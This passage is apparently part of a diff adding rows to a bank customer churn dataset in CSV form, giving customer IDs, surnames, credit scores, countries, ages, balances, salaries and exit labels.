+1469,15814846,Ozerova,691,France,Male,52,3,0,1,1,0,175843.68,1 +1470,15670374,Wright,819,Germany,Female,49,1,120656.86,4,0,0,166164.3,1 +1471,15762332,Ulyanova,568,Germany,Female,31,1,61592.14,2,1,1,61796.64,0 +1472,15700223,Steiner,806,France,Male,48,4,164701.68,1,1,1,21439.49,0 +1473,15729956,Akabueze,726,Spain,Female,26,1,80780.16,1,1,1,19225.85,0 +1474,15594862,Aleksandrova,552,France,Male,36,8,0,2,0,0,132547.02,0 +1475,15598782,Pinto,755,Germany,Female,30,6,154221.37,2,0,1,62688.55,0 +1476,15745080,Griffiths,634,France,Male,26,8,0,1,1,0,21760.96,0 +1477,15703399,McNeil,756,France,Female,26,5,101641.14,2,0,1,154460.68,0 +1478,15732175,Bruno,776,France,Male,37,2,0,1,0,1,8065,0 +1479,15630725,Johnson,649,France,Female,45,5,92786.66,1,1,0,173365.9,1 +1480,15640260,Okorie,595,Germany,Male,32,8,131081.66,2,1,1,69428.79,0 +1481,15716822,Moen,646,France,Male,30,5,98014.74,1,1,1,12757.14,0 +1482,15583748,McGuigan,592,Spain,Male,38,8,0,2,1,0,180426.2,0 +1483,15605968,Fancher,574,France,Male,26,8,97460.1,1,1,1,43093.67,0 +1484,15790683,Matthews,850,France,Male,36,1,104077.19,2,0,1,68594,0 +1485,15607713,Kaeppel,850,Spain,Female,29,1,0,2,1,1,197996.65,0 +1486,15700212,Shih,475,France,Female,46,10,0,2,0,0,122953,1 +1487,15626710,Yudina,642,France,Female,39,4,0,1,1,1,76821.24,0 +1488,15716491,Akabueze,710,Spain,Female,51,4,93656.95,1,0,1,141400.51,1 +1489,15625824,Kornilova,596,Spain,Male,30,6,121345.88,4,1,0,41921.75,1 +1490,15617705,Ozioma,609,France,Female,39,8,141675.23,1,0,1,175664.25,0 +1491,15761976,Su,797,Spain,Female,31,8,0,2,1,0,117916.63,0 +1492,15634891,Jamison,504,Germany,Female,43,7,102365.49,1,1,0,194690.77,1 +1493,15744517,Esposito,735,Spain,Male,50,9,0,1,0,0,166677.35,1 +1494,15686963,Hardiman,680,Spain,Female,30,3,0,1,1,0,160131.58,0 +1495,15808189,Woodard,449,France,Male,52,6,0,2,0,1,123622,0 +1496,15580845,Chienezie,685,Germany,Male,57,7,101868.51,1,0,1,113483.96,0 +1497,15799156,Okwuadigbo,569,Spain,Male,38,8,0,2,0,0,79618.79,0 +1498,15694296,Chineze,631,France,Male,35,9,112392.45,2,1,0,24472.23,0 +1499,15677049,O'Brien,595,Germany,Female,25,7,106570.34,2,0,1,177025.79,0 +1500,15583595,Tao,461,France,Female,28,8,0,1,1,1,103349.74,0 +1501,15590146,Mao,630,France,Male,50,1,81947.76,1,0,1,63606.22,1 +1502,15801548,Buckland,661,France,Female,31,7,144162.3,2,1,1,14490.79,0 +1503,15660833,Flannery,796,Germany,Male,39,5,86350.87,2,0,0,105080.53,0 +1504,15762277,Jamieson,710,France,Male,47,5,158623.14,1,0,0,83499.89,1 +1505,15791302,Swift,741,France,Male,32,8,0,2,1,0,143598.7,0 +1506,15798975,Doherty,606,Germany,Male,48,4,132403.56,1,0,0,36091.91,1 +1507,15599956,Payne,747,France,Male,27,10,0,2,0,0,13007.89,0 +1508,15577274,Genovese,549,Germany,Female,43,3,134985.66,1,1,0,6101.41,0 +1509,15701200,Lucciano,576,France,Male,36,6,0,2,1,1,48314,0 +1510,15638149,Rowley,528,France,Male,37,6,103772.45,1,1,0,197111.99,0 +1511,15786199,Hsing,535,France,Male,33,2,133040.32,1,1,1,110299.78,0 +1512,15701765,Vincent,575,Spain,Female,37,0,0,2,0,0,30114.32,0 +1513,15586974,Pearce,656,France,Male,39,10,0,2,1,1,98894.64,0 +1514,15729040,Lamb,440,France,Male,42,2,0,2,1,0,49826.68,0 +1515,15788676,Riley,539,Spain,Male,38,8,71460.67,2,1,1,10074.05,0 +1516,15602497,Honore,850,Spain,Male,39,6,133214.13,1,0,1,20769.88,0 +1517,15701333,Blackburn,646,France,Female,37,7,96558.66,1,0,0,163427.18,0 +1518,15812071,Endrizzi,744,France,Male,54,6,93806.31,2,0,1,140068.77,0 +1519,15634375,Duncan,710,Spain,Female,36,8,0,2,0,0,83206.19,0 +1520,15738267,Macarthur,544,France,Female,64,3,124043.8,1,1,1,111402.97,1 +1521,15786800,Gould,723,Germany,Male,52,5,131694.97,1,0,1,92873.5,1 +1522,15591130,Medvedev,507,Spain,Female,29,6,0,2,0,1,94780.9,0 +1523,15720662,Sholes,787,France,Female,35,1,106266.8,1,1,1,16607.15,0 +1524,15751531,Shaw,598,Spain,Male,41,8,0,2,1,1,161954.43,0 +1525,15653595,Ts'ai,796,France,Male,51,6,0,2,0,1,194733.28,0 +1526,15568360,Rolon,569,Spain,Female,41,4,139840.36,1,1,1,163524.7,0 +1527,15781210,Reid,711,France,Male,34,8,0,2,0,0,48260.19,0 +1528,15668058,Chinwendu,661,Germany,Male,35,8,124098.54,1,1,0,86678.48,0 +1529,15597131,Fu,415,France,Male,32,5,145807.59,1,1,1,3064.65,0 +1530,15697283,Mackenzie,578,Spain,Male,23,8,0,2,1,0,112124.98,0 +1531,15640953,Bligh,611,France,Female,26,2,107508.93,2,1,1,120801.65,0 +1532,15715031,Davidson,600,France,Female,28,6,0,2,0,1,52193.23,0 +1533,15589660,Lamble,661,Germany,Female,32,1,145980.23,1,0,1,56636.28,0 +1534,15769818,Moore,850,France,Female,37,3,212778.2,1,0,1,69372.88,0 +1535,15782736,Jose,573,Germany,Female,47,4,152522.47,1,0,1,164038.07,1 +1536,15614818,Trevisani,764,Spain,Female,33,9,168964.77,1,0,1,118982.51,0 +1537,15794014,Schofield,838,France,Female,34,8,0,2,1,0,27472.07,0 +1538,15732448,Stewart,821,France,Female,28,8,0,1,1,1,36754.13,0 +1539,15723411,Jamieson,607,Spain,Female,36,4,98266.3,1,1,1,46416.36,0 +1540,15797686,Howard,558,France,Male,38,8,113000.92,1,1,1,152872.39,0 +1541,15605950,Onwuamaeze,530,Germany,Male,23,1,137060.88,2,1,1,165227.23,0 +1542,15812497,D'Albertis,654,Germany,Male,37,5,112146.12,1,1,0,75927.35,0 +1543,15690678,Brooks,530,France,Female,33,4,129307.32,1,1,1,172930.28,0 +1544,15747677,Gordon,656,Spain,Male,69,6,163975.09,1,1,1,36108.5,0 +1545,15618926,Nwachukwu,520,Spain,Male,43,7,0,2,1,1,36202.74,0 +1546,15673908,Chinweike,602,Germany,Female,42,6,158414.85,1,1,1,131886.46,0 +1547,15727944,Simpkinson,701,Germany,Female,48,1,92072.68,1,1,1,133992.36,0 +1548,15807294,Walker,653,Spain,Female,30,2,88243.29,2,1,1,96658.26,0 +1549,15618581,Diribe,668,Spain,Male,25,8,0,2,1,1,135112.09,0 +1550,15584364,Trentini,652,France,Male,48,4,59486.31,1,1,0,163944.18,1 +1551,15599552,Conway,639,Spain,Female,54,2,0,2,1,1,53843.71,0 +1552,15749177,Maslow,730,Spain,Female,52,7,0,2,0,1,122398.84,0 +1553,15718779,Clark,780,France,Male,34,1,0,1,1,1,64804.04,0 +1554,15568106,L?,592,France,Female,38,8,119278.01,2,0,1,19370.73,0 +1555,15779481,Swadling,628,France,Male,34,4,158741.43,2,1,1,126192.54,0 +1556,15709994,Gallo,658,France,Female,40,7,140596.95,1,0,1,135459.02,1 +1557,15772777,Onyemachukwu,850,Spain,Female,29,10,0,2,1,1,94815.04,0 +1558,15706815,Samoylova,515,Germany,Male,37,2,90432.92,1,1,1,188366.04,1 +1559,15618018,Dickson,571,France,Female,35,1,104783.81,2,0,1,178512.52,0 +1560,15671032,He,760,Germany,Male,42,0,77992.97,2,1,1,97906.38,0 +1561,15634281,P'an,720,Germany,Female,43,10,110822.9,1,0,0,72861.94,0 +1562,15766374,Leak,632,Germany,Male,42,4,119624.6,2,1,1,195978.86,0 +1563,15600991,Artemieva,694,Germany,Male,31,6,109052.59,2,1,1,19448.93,1 +1564,15777576,Frost,559,Spain,Female,40,5,139129.44,1,0,1,32635.54,0 +1565,15742613,Warner,773,Germany,Female,42,8,152324.66,2,1,0,171733.22,0 +1566,15649523,Kennedy,581,France,Male,38,1,0,2,1,0,46176.22,0 +1567,15651063,Ifeatu,524,Germany,Female,37,9,127480.58,2,1,0,179634.69,0 +1568,15683124,Evans,713,France,Male,53,6,115029.4,1,0,0,191521.32,1 +1569,15618314,Chu,676,France,Male,40,8,114005.78,1,1,1,67998.45,0 +1570,15670823,Hsueh,651,Germany,Female,42,1,116646.76,1,1,0,44731.8,1 +1571,15607133,Shih,717,Spain,Female,49,1,110864.38,2,1,1,124532.9,1 +1572,15615012,Fan,594,France,Male,23,5,156267.59,1,1,0,160968.44,0 +1573,15725141,Whiddon,716,France,Female,44,3,109528.28,1,1,0,27341.63,1 +1574,15623560,Onyekachukwu,668,France,Female,35,6,102482.76,1,1,1,53994.64,0 +1575,15693018,Ermakova,678,Germany,Male,23,10,115563.71,1,1,1,91633.53,0 +1576,15636756,Marino,545,France,Male,23,2,0,2,1,0,189613.12,0 +1577,15647474,Niu,613,France,Female,40,9,95624.36,2,1,1,60706.33,0 +1578,15576714,Manna,687,Spain,Female,21,8,0,2,1,1,154767.34,0 +1579,15585047,Onyemere,715,France,Male,28,7,160376.61,1,0,0,196853.11,0 +1580,15743976,Archer,618,Germany,Male,41,8,37702.79,1,1,1,195775.48,0 +1581,15793881,Mitchell,721,France,Female,35,6,118273.83,1,0,1,3086.89,0 +1582,15576517,Everingham,445,Germany,Female,34,7,131082.17,2,1,1,70618,0 +1583,15631072,Huie,690,France,Male,38,1,94456,2,0,1,55034.02,0 +1584,15730394,Crowther,709,France,Female,43,8,0,2,0,0,168035.62,1 +1585,15631460,Swift,671,Spain,Female,42,3,0,2,1,1,128449.33,0 +1586,15692002,Skelton,538,France,Male,33,6,93791.38,1,1,1,199249.29,0 +1587,15595282,White,735,France,Female,33,4,0,2,1,0,149474.69,0 +1588,15789548,Giordano,592,France,Female,37,7,0,2,1,1,126726.33,0 +1589,15758035,Bateson,747,France,Male,61,7,155973.13,1,0,1,147554.26,0 +1590,15617518,Hu,675,Germany,Male,36,7,89409.95,1,1,1,149399.7,0 +1591,15651802,Day,632,Spain,Female,39,5,97854.37,2,1,0,93536.38,0 +1592,15631813,Beneventi,621,France,Male,39,6,0,2,1,1,58883.91,0 +1593,15729668,Elizabeth,521,Spain,Male,29,3,60280.62,1,1,0,154271.41,0 +1594,15741728,Atkins,591,Spain,Male,36,7,135216.8,1,1,1,122022.89,0 +1595,15576676,Serrano,706,Germany,Female,28,6,124923.35,2,1,1,50299.14,0 +1596,15711378,Willis,677,France,Male,38,4,0,2,1,0,187800.63,0 +1597,15765520,Stevenson,769,Germany,Male,27,7,188614.07,1,1,0,171344.09,0 +1598,15656726,Ch'ien,771,France,Male,32,5,62321.62,1,1,1,40920.59,0 +1599,15647842,Cunningham,601,Germany,Female,48,8,120782.7,1,1,0,63940.68,1 +1600,15719309,Stephens,670,France,Female,42,1,115961.58,2,0,1,29483.87,0 +1601,15748718,Gordon,517,France,Male,28,2,115062.61,1,1,0,179056.23,0 +1602,15594404,Bevan,834,France,Female,49,8,160602.25,2,1,0,129273.94,0 +1603,15751158,Mashman,571,France,Female,42,4,108825.34,3,1,0,55558.51,1 +1604,15593470,Tu,576,Germany,Female,36,8,166287.85,1,1,1,23305.85,0 +1605,15695129,Milanesi,718,France,Female,31,1,152663.77,1,0,1,17128.64,0 +1606,15640865,Romano,636,Germany,Female,31,9,80844.69,2,1,1,74641.9,0 +1607,15714080,Goliwe,566,Germany,Female,40,2,97001.36,2,1,0,154486.01,0 +1608,15648721,Hsueh,711,France,Male,64,4,0,2,1,1,3185.67,0 +1609,15801466,Gray,574,France,Female,39,2,122524.61,2,1,0,88463.63,0 +1610,15750248,Wright,619,France,Female,35,8,132292.63,1,1,0,65682.93,0 +1611,15758726,Chiemeka,588,France,Female,24,0,0,2,1,1,140586.08,0 +1612,15781553,Chung,760,Germany,Female,49,9,91502.99,1,1,0,117232.9,1 +1613,15649121,Pinto,665,France,Male,52,3,0,1,1,0,116137.01,1 +1614,15674811,Kellway,739,Germany,Male,29,3,59385.98,2,1,1,105533.96,0 +1615,15646037,Sopuluchi,641,France,Male,77,9,0,3,1,1,81514.06,0 +1616,15722578,Spitzer,685,Germany,Female,21,6,97956.5,1,1,1,164966.27,0 +1617,15665695,Potter,594,France,Female,49,4,0,2,1,1,23631.55,0 +1618,15801062,Matthews,557,Spain,Female,40,4,0,2,0,1,105433.53,0 +1619,15662955,Nicholls,697,France,Male,27,8,141223.68,2,1,0,90591.15,0 +1620,15770309,McDonald,656,France,Male,18,10,151762.74,1,0,1,127014.32,0 +1621,15657386,Fiorentini,712,Germany,Male,43,1,141749.74,2,0,1,90905.26,0 +1622,15777797,Kovalyova,689,Spain,Male,38,5,75075.14,1,1,1,8651.92,1 +1623,15783955,Miah,697,France,Female,25,4,165686.11,2,1,0,15467.98,0 +1624,15804516,Builder,589,France,Male,38,2,0,1,1,0,79915.28,0 +1625,15681758,Baddeley,525,Spain,Female,25,10,0,2,1,0,69361.95,0 +1626,15630321,Hu,680,France,Male,44,3,0,2,1,0,86935.08,0 +1627,15588248,Hs?,617,France,Female,28,0,0,2,1,1,7597.83,1 +1628,15591932,Ford,680,France,Male,32,5,92961.61,1,1,0,116957.6,0 +1629,15810347,Todd,662,Spain,Female,30,9,0,2,0,1,157884.83,0 +1630,15595303,Johnston,736,Germany,Male,46,5,130812.91,1,1,1,77981.54,1 +1631,15634950,Obiajulu,657,Germany,Male,57,8,107174.58,1,1,1,126369.55,1 +1632,15685372,Azubuike,350,Spain,Male,54,1,152677.48,1,1,1,191973.49,1 +1633,15745827,Padovesi,617,France,Male,30,3,132005.77,1,1,0,142940.39,0 +1634,15755868,Farmer,562,France,Male,35,7,0,1,0,0,48869.67,0 +1635,15735222,Ignatieff,705,Spain,Female,23,5,0,2,1,1,73131.73,0 +1636,15604804,Lu,516,France,Female,33,7,127305.5,1,1,1,120037.36,0 +1637,15718944,Artemiev,573,France,Female,37,6,0,2,1,0,193995.37,0 +1638,15678626,Okonkwo,538,Spain,Female,31,0,0,2,0,0,179453.66,0 +1639,15571550,Dore,699,France,Male,39,9,0,1,1,0,80963.92,0 +1640,15723053,T'ang,504,Germany,Male,32,8,170291.22,2,0,1,15658.99,0 +1641,15661528,Ashbolt,583,Spain,Male,47,5,102562.23,1,1,0,92708.1,0 +1642,15754177,Bazarova,712,Spain,Male,53,2,111061.01,2,0,0,26542.17,0 +1643,15683544,Buccho,626,Spain,Male,62,3,0,1,1,1,65010.74,0 +1644,15708048,Burn,631,France,Female,34,4,124379.14,1,1,0,106892.91,0 +1645,15701109,Andreyev,663,France,Female,37,7,0,1,1,1,185210.63,0 +1646,15600110,Endrizzi,506,Germany,Female,41,3,57745.76,1,1,0,4035.46,0 +1647,15651533,Brown,570,Germany,Female,50,5,129293.74,1,1,0,177805.44,1 +1648,15777904,Nock,703,France,Female,45,7,0,2,1,1,68831.72,0 +1649,15655574,Okeke,698,Germany,Female,40,8,150777.1,1,1,0,114732.62,0 +1650,15569423,Cunningham,731,Spain,Male,41,4,0,2,1,0,22299.27,0 +1651,15718106,Kelley,625,France,Male,34,6,0,2,0,0,197283.2,0 +1652,15585067,Wilson,634,Spain,Male,31,9,108632.48,1,1,1,179485.96,1 +1653,15675501,Woods,616,France,Male,59,5,153861.1,1,1,1,17699.48,0 +1654,15633233,McFarland,500,France,Male,56,1,100374.58,1,1,0,118490.8,1 +1655,15667134,Cisneros,446,France,Male,32,8,0,2,0,0,133292.94,0 +1656,15659105,Borchgrevink,669,France,Female,47,9,61196.54,1,1,0,58170.24,0 +1657,15575409,Rozhkova,581,Germany,Male,31,6,116891.72,1,1,0,107137.3,0 +1658,15752342,Bradley,704,Germany,Female,54,6,133656.91,3,1,0,145071.33,1 +1659,15654851,Obialo,748,France,Male,44,2,92911.52,1,0,1,85495.24,0 +1660,15741429,Hudson,680,Spain,Female,31,9,119825.75,2,1,1,101139.3,0 +1661,15682356,Veltri,655,France,Female,37,7,111852.84,2,1,0,10511.13,0 +1662,15806447,Mazzanti,690,Germany,Male,32,0,106683.52,2,1,1,137916.49,0 +1663,15800229,Thorpe,695,Germany,Male,40,7,139022.24,1,0,1,193383.13,0 +1664,15663441,Golibe,700,Germany,Female,40,4,148571.07,1,1,0,189826.96,1 +1665,15791991,Udinesi,773,France,Male,52,4,0,1,0,1,144113.42,0 +1666,15775082,Stewart,749,France,Male,42,1,129776.72,2,0,1,143538.51,0 +1667,15579706,Curtis,611,France,Female,46,5,0,1,1,0,77677.14,1 +1668,15718247,Hayden,606,Spain,Female,46,8,0,2,1,1,183717.94,0 +1669,15755722,H?,554,France,Male,24,10,0,1,0,0,92180.62,0 +1670,15582259,Campbell,567,France,Female,37,7,0,2,1,1,28690.9,0 +1671,15716994,Green,559,Spain,Male,24,3,114739.92,1,1,0,85891.02,1 +1672,15586880,P'eng,594,Germany,Male,41,2,122545.65,2,1,1,42050.24,0 +1673,15713854,Cremonesi,513,France,Female,37,6,0,2,1,0,110142.34,0 +1674,15780835,Liang,652,Germany,Female,26,1,131908.35,1,1,1,179269.79,0 +1675,15675896,Gough,680,Germany,Female,42,7,105722.69,1,1,1,90558.24,1 +1676,15658459,Bates,784,Spain,Male,33,10,0,2,1,0,162022.47,0 +1677,15658057,Padovesi,812,Spain,Female,44,8,0,3,1,0,66926.83,1 +1678,15801767,Yin,784,Spain,Female,40,8,0,2,1,0,108891.3,0 +1679,15569178,Kharlamov,570,France,Female,18,4,82767.42,1,1,0,71811.9,0 +1680,15731478,Nicholls,712,France,Female,42,1,87842.98,1,0,0,92223.59,0 +1681,15811236,Burns,705,Spain,Male,39,6,133261.13,1,1,1,78065.9,0 +1682,15746749,Fleming,681,Spain,Female,32,3,0,2,1,1,59679.9,0 +1683,15662758,Watson,620,France,Male,41,0,97925.11,1,1,0,85000.32,0 +1684,15709387,Obiajulu,711,France,Male,52,5,0,1,1,1,159808.95,0 +1685,15572093,Han,613,France,Female,24,7,140453.91,1,1,0,129001.3,0 +1686,15713826,Ferguson,613,Germany,Female,20,0,117356.19,1,0,0,113557.7,1 +1687,15570205,Tao,682,Spain,Male,36,5,0,2,1,1,147758.51,0 +1688,15589348,Le Grand,850,Spain,Male,37,4,137204.77,1,1,1,28865.59,0 +1689,15804610,Valdez,601,France,Female,41,1,0,2,0,1,160607.06,0 +1690,15700854,Cunningham,595,Spain,Male,35,8,0,1,1,0,100015.79,1 +1691,15758836,Godfrey,675,Spain,Male,36,3,54098.18,2,0,1,54478.52,0 +1692,15772933,Mai,591,Spain,Male,31,8,0,1,1,1,141677.33,0 +1693,15809006,Walker,602,France,Male,23,7,113758.48,2,0,0,84077.6,0 +1694,15689612,Pirozzi,554,Spain,Female,34,8,0,1,0,1,106981.03,0 +1695,15744614,Feng,541,France,Male,37,9,118636.92,1,1,1,73551.44,0 +1696,15704250,Akabueze,506,France,Male,34,7,0,2,0,0,115842.1,0 +1697,15700255,Robson,814,Germany,Male,44,8,95488.82,2,0,0,107013.59,0 +1698,15669410,Yevdokimova,683,France,Male,30,8,110829.52,2,0,0,24938.84,0 +1699,15807595,Ijendu,485,Germany,Male,51,7,144244.59,2,1,0,51113.14,0 +1700,15664523,Colombo,696,Germany,Female,31,8,122021.92,2,1,0,33828.64,0 +1701,15642833,Akubundu,608,France,Female,30,8,0,2,1,0,128875.86,0 +1702,15605279,Francis,792,France,Male,50,9,0,4,1,1,194700.81,1 +1703,15713644,Marshall,686,Spain,Male,22,5,0,2,1,0,158974.45,0 +1704,15750466,Rhodes,790,Germany,Male,42,1,85839.62,1,1,0,198182.73,0 +1705,15739054,Y?,654,France,Female,29,4,96974.97,1,0,1,141404.07,0 +1706,15612771,Bell,452,France,Male,35,4,148172.44,1,1,1,4175.68,0 +1707,15788483,Kerr,719,Spain,Male,38,0,0,1,1,0,126876.47,0 +1708,15732832,Jideofor,707,France,Female,40,5,0,2,1,0,41052.82,0 +1709,15772892,Robertson,699,France,Female,49,2,0,1,0,0,105760.01,0 +1710,15713843,Kao,850,Spain,Male,30,2,0,2,0,1,27937.12,0 +1711,15567993,Palmer,828,Spain,Male,28,8,134766.85,1,1,0,79355.87,0 +1712,15617603,Mackay,850,Germany,Male,30,5,123210.56,2,1,1,102180.27,0 +1713,15744983,Burgmann,712,Spain,Male,47,1,139887.01,1,1,1,95719.73,0 +1714,15630419,Davis,634,France,Male,44,9,149961.11,1,1,0,57121.51,0 +1715,15738828,Milano,730,Germany,Male,45,6,152880.97,1,0,0,162478.11,0 +1716,15778025,Dellucci,685,Germany,Male,43,9,108589.47,2,0,1,194808.51,0 +1717,15799479,Coles,809,Spain,Male,33,9,0,1,1,1,124045.65,0 +1718,15684269,Gray,707,Spain,Female,35,3,56674.48,1,1,0,17987.4,1 +1719,15762745,Macvitie,648,Spain,Male,32,8,0,1,1,0,133653.38,0 +1720,15746970,Townsend,760,Spain,Female,57,1,0,2,1,1,25101.17,0 +1721,15725024,Pope,805,Germany,Female,33,3,105663.56,2,0,1,33330.89,0 +1722,15592116,Jensen,585,France,Female,39,7,0,2,1,0,2401.26,0 +1723,15624391,Thomson,595,Spain,Female,30,5,100683.54,1,1,1,178361.04,0 +1724,15567422,Chiazagomekpele,630,France,Male,42,6,0,2,1,0,162697.93,0 +1725,15612627,Ozuluonye,627,Germany,Male,29,5,139541.58,2,1,0,80607.33,0 +1726,15574879,Wright,631,Germany,Female,37,2,121801.72,2,0,1,23146.62,0 +1727,15745107,Lung,776,Germany,Male,38,5,112281.7,1,0,1,89893.6,0 +1728,15734491,Lombardo,676,Spain,Female,36,4,0,2,1,1,3173.31,0 +1729,15675320,Leonard,758,Spain,Female,40,5,93499.82,2,0,0,123218.81,0 +1730,15643824,Johnston,637,France,Male,33,0,132255.99,2,0,1,74588.41,0 +1731,15643438,P'eng,850,France,Male,20,7,0,2,1,0,31288.77,0 +1732,15721730,Amechi,601,Spain,Female,44,4,0,2,1,0,58561.31,0 +1733,15680727,Fang,735,France,Male,49,5,121973.28,1,1,0,148804.36,0 +1734,15752508,Docherty,614,Germany,Male,32,7,99462.8,2,1,1,51117.06,0 +1735,15808846,Horton,672,Germany,Female,21,3,165878.76,2,1,1,164537.17,0 +1736,15727251,Vincent,642,France,Male,30,8,117494.27,1,0,0,61977.82,0 +1737,15663489,Onio,633,Germany,Female,29,0,138577.34,1,1,0,193362.99,0 +1738,15683677,Schiavone,769,Spain,Male,39,9,0,1,1,1,47722.79,0 +1739,15596414,Chandler,796,Spain,Male,41,8,107525.07,1,1,0,18510.41,0 +1740,15730639,Fiorentino,715,France,Male,23,7,139224.92,2,1,0,65057.71,0 +1741,15672132,Butusov,695,France,Female,42,7,121453.63,1,0,0,46374.64,0 +1742,15742638,Wang,747,France,Female,25,4,0,2,0,1,42039.67,0 +1743,15578603,Alexeieva,584,Germany,Female,54,1,77354.37,1,0,0,138192.98,1 +1744,15726088,Vinogradova,476,France,Male,40,6,0,1,1,1,22735.45,0 +1745,15682533,Hughes,850,France,Female,39,7,79259.99,1,0,1,186910.74,0 +1746,15772995,Ts'ao,529,France,Male,30,2,116295.29,1,1,0,75285.47,0 +1747,15765694,Bage,584,Spain,Female,59,1,0,1,0,1,130260.11,1 +1748,15659486,Yudina,586,Germany,Male,34,9,74309.81,1,1,0,15034.93,0 +1749,15568963,Naquin,674,Germany,Male,34,2,152797.9,1,1,0,175709.4,1 +1750,15703820,Endrizzi,552,France,Male,42,9,133701.07,2,1,0,101069.71,1 +1751,15569410,Tang,601,Germany,Female,33,7,114430.18,2,1,1,153012.13,0 +1752,15632256,Schroeder,541,France,Male,29,7,127504.57,1,0,0,86173.92,0 +1753,15724466,Swearingen,744,Germany,Female,41,2,84113.41,1,1,0,197548.63,0 +1754,15777639,McGregor,595,Spain,Female,23,10,101126.66,2,0,0,37042.8,0 +1755,15802501,Onyeorulu,724,Germany,Male,33,5,103564.83,2,1,0,121085.72,0 +1756,15778410,Clarke,533,Spain,Female,52,7,0,1,0,1,194113.99,1 +1757,15670702,Smith,618,France,Male,37,2,168178.21,2,0,1,101273.23,0 +1758,15704763,Kozlova,523,Germany,Female,39,1,143903.11,1,1,1,118711.75,1 +1759,15645544,Nekrasov,642,Germany,Female,30,5,129753.69,1,1,0,582.53,0 +1760,15757646,Olague,584,France,Male,35,9,0,2,1,0,192381.21,0 +1761,15701121,Holt,521,France,Male,38,5,110641.18,1,0,1,136507.69,1 +1762,15796313,Olsen,662,France,Female,36,4,166909.2,2,1,0,138871.12,1 +1763,15815660,Mazzi,758,France,Female,34,1,154139.45,1,1,1,60728.89,0 +1764,15602844,Niu,717,France,Male,38,7,97459.06,1,0,0,189175.71,0 +1765,15636238,Graham,611,France,Male,40,1,0,2,1,1,102547.56,0 +1766,15770101,Millar,766,Germany,Male,43,6,112088.04,2,1,1,36706.56,0 +1767,15645543,Bell,636,France,Female,34,3,0,2,1,1,44756.25,0 +1768,15596397,Kelly,814,France,Female,48,7,0,2,1,1,132870.15,0 +1769,15770525,T'an,760,Spain,Male,28,1,141038.57,2,0,0,16287.38,0 +1770,15684267,Davila,607,Germany,Male,39,2,84468.67,2,1,1,121945.42,0 +1771,15689980,Willis,725,Spain,Female,36,4,118520.26,1,0,0,131173.9,1 +1772,15633260,Dumetochukwu,600,France,Male,37,1,142663.46,1,0,1,88669.89,0 +1773,15756471,Giles,656,Germany,Male,27,4,118627.16,2,1,1,160835.3,0 +1774,15721303,O'Meara,640,Spain,Male,34,1,137523.02,1,0,0,24761.36,0 +1775,15802256,Yao,439,France,Male,28,7,110976.23,2,1,0,138526.96,0 +1776,15725664,Wallace,549,France,Female,38,8,107283.4,1,0,0,157442.75,0 +1777,15674851,T'ien,622,France,Male,38,5,0,2,0,0,105295.77,0 +1778,15701946,Ndubueze,715,France,Male,34,4,124314.45,1,0,0,97782.92,0 +1779,15748947,Chukwuraenye,657,France,Female,41,5,95858.37,1,1,1,68255.88,0 +1780,15673342,K'ung,703,France,Male,36,2,0,2,1,0,108790.95,0 +1781,15601008,Stevenson,802,France,Male,33,8,0,2,1,0,143706.18,0 +1782,15771636,Marshall,793,Spain,Female,36,0,0,1,0,0,148993.47,0 +1783,15642002,Hayward,554,France,Female,35,6,117707.18,2,0,0,95277.15,1 +1784,15693381,Tipton,533,Spain,Male,38,1,135289.33,2,0,1,152956.33,0 +1785,15607691,Gibson,658,France,Male,36,8,174060.46,1,1,1,94925.62,0 +1786,15589380,Fraser,713,Germany,Male,40,3,114446.84,2,1,1,87308.18,0 +1787,15603846,Fang,711,Spain,Male,37,2,0,2,1,0,83978.86,1 +1788,15753549,Dubinina,669,France,Male,25,1,157848.53,1,0,0,37543.93,1 +1789,15725355,Morey,439,France,Female,43,8,0,1,0,1,104889.3,0 +1790,15773017,Todd,763,Spain,Female,37,6,0,2,1,1,149705.25,0 +1791,15625641,Forbes,697,Germany,Female,74,3,108071.36,2,1,1,16445.79,0 +1792,15776467,De Salis,702,Spain,Female,35,8,14262.8,2,1,0,54689.16,0 +1793,15746451,Barry,686,Spain,Male,41,7,102749.72,1,0,1,194913.86,0 +1794,15777922,Afamefuna,629,Spain,Male,36,1,161757.87,2,1,1,146371.72,0 +1795,15606841,Ibbott,823,France,Male,38,1,0,2,1,0,156603.7,0 +1796,15757648,Marshall,683,Germany,Female,35,5,95698.79,1,0,1,182566.76,0 +1797,15677173,Law,555,France,Male,37,9,124969.13,1,1,0,60194.05,0 +1798,15764170,Pinto,647,Germany,Male,44,4,93960.35,1,1,0,36579.53,1 +1799,15610446,Chinedum,714,France,Female,51,4,88308.87,3,0,0,5862.53,1 +1800,15612776,McKay,850,Spain,Female,39,10,0,2,1,1,143030.09,0 +1801,15794122,Otutodilinna,713,France,Female,59,3,0,2,1,1,62700.08,0 +1802,15774931,She,452,France,Male,30,7,112935.87,1,1,1,99017.34,0 +1803,15779247,Pai,683,Spain,Female,24,8,98567.1,1,1,0,187987.01,0 +1804,15707078,Kruglov,577,France,Female,26,1,180530.51,1,0,0,123454.62,0 +1805,15605263,Chin,552,France,Male,33,5,140931.57,1,0,1,10921.5,0 +1806,15607381,King,769,Germany,Female,31,7,148913.72,2,1,0,53817.23,0 +1807,15683471,Hansen,691,France,Male,38,7,0,2,0,0,81617.4,0 +1808,15605037,Ting,818,France,Female,49,2,0,1,0,1,192298.84,1 +1809,15576085,Stone,739,France,Male,41,5,0,2,0,0,143882.25,0 +1810,15770435,McLean,639,France,Female,50,6,115335.32,2,1,1,53130.41,0 +1811,15592994,Zikoranachidimma,651,France,Female,65,0,0,2,1,1,190454.04,0 +1812,15624068,Fu,779,France,Female,26,0,0,2,0,1,111906,0 +1813,15595221,Trevisano,850,Germany,Female,33,7,134678.13,1,1,0,113177.95,0 +1814,15637131,Fallaci,829,France,Male,38,9,0,2,1,0,30529.88,0 +1815,15613471,Wiley,579,Germany,Male,31,2,90547.48,2,1,1,18800.13,0 +1816,15583499,Chiagoziem,510,France,Male,32,9,103324.78,1,1,1,46127.7,0 +1817,15752816,Murray,531,France,Male,29,3,114590.58,1,0,0,75585.48,0 +1818,15804075,Chuang,628,Germany,Female,36,3,91286.51,1,1,0,63085.94,0 +1819,15800517,Huang,633,Spain,Male,32,5,163340.12,2,1,1,74415.2,0 +1820,15712319,Chukwukere,714,Spain,Male,45,8,150900.29,2,0,1,139889.15,0 +1821,15797389,Hsia,604,Spain,Male,23,9,124577.33,1,1,1,7267.25,0 +1822,15621432,Lee,630,Spain,Male,35,1,0,2,0,0,186826.22,0 +1823,15779390,Theus,850,Spain,Female,31,4,91292.7,1,1,1,162149.07,0 +1824,15711219,Jennings,788,Germany,Female,57,8,93716.72,1,1,1,180150.49,1 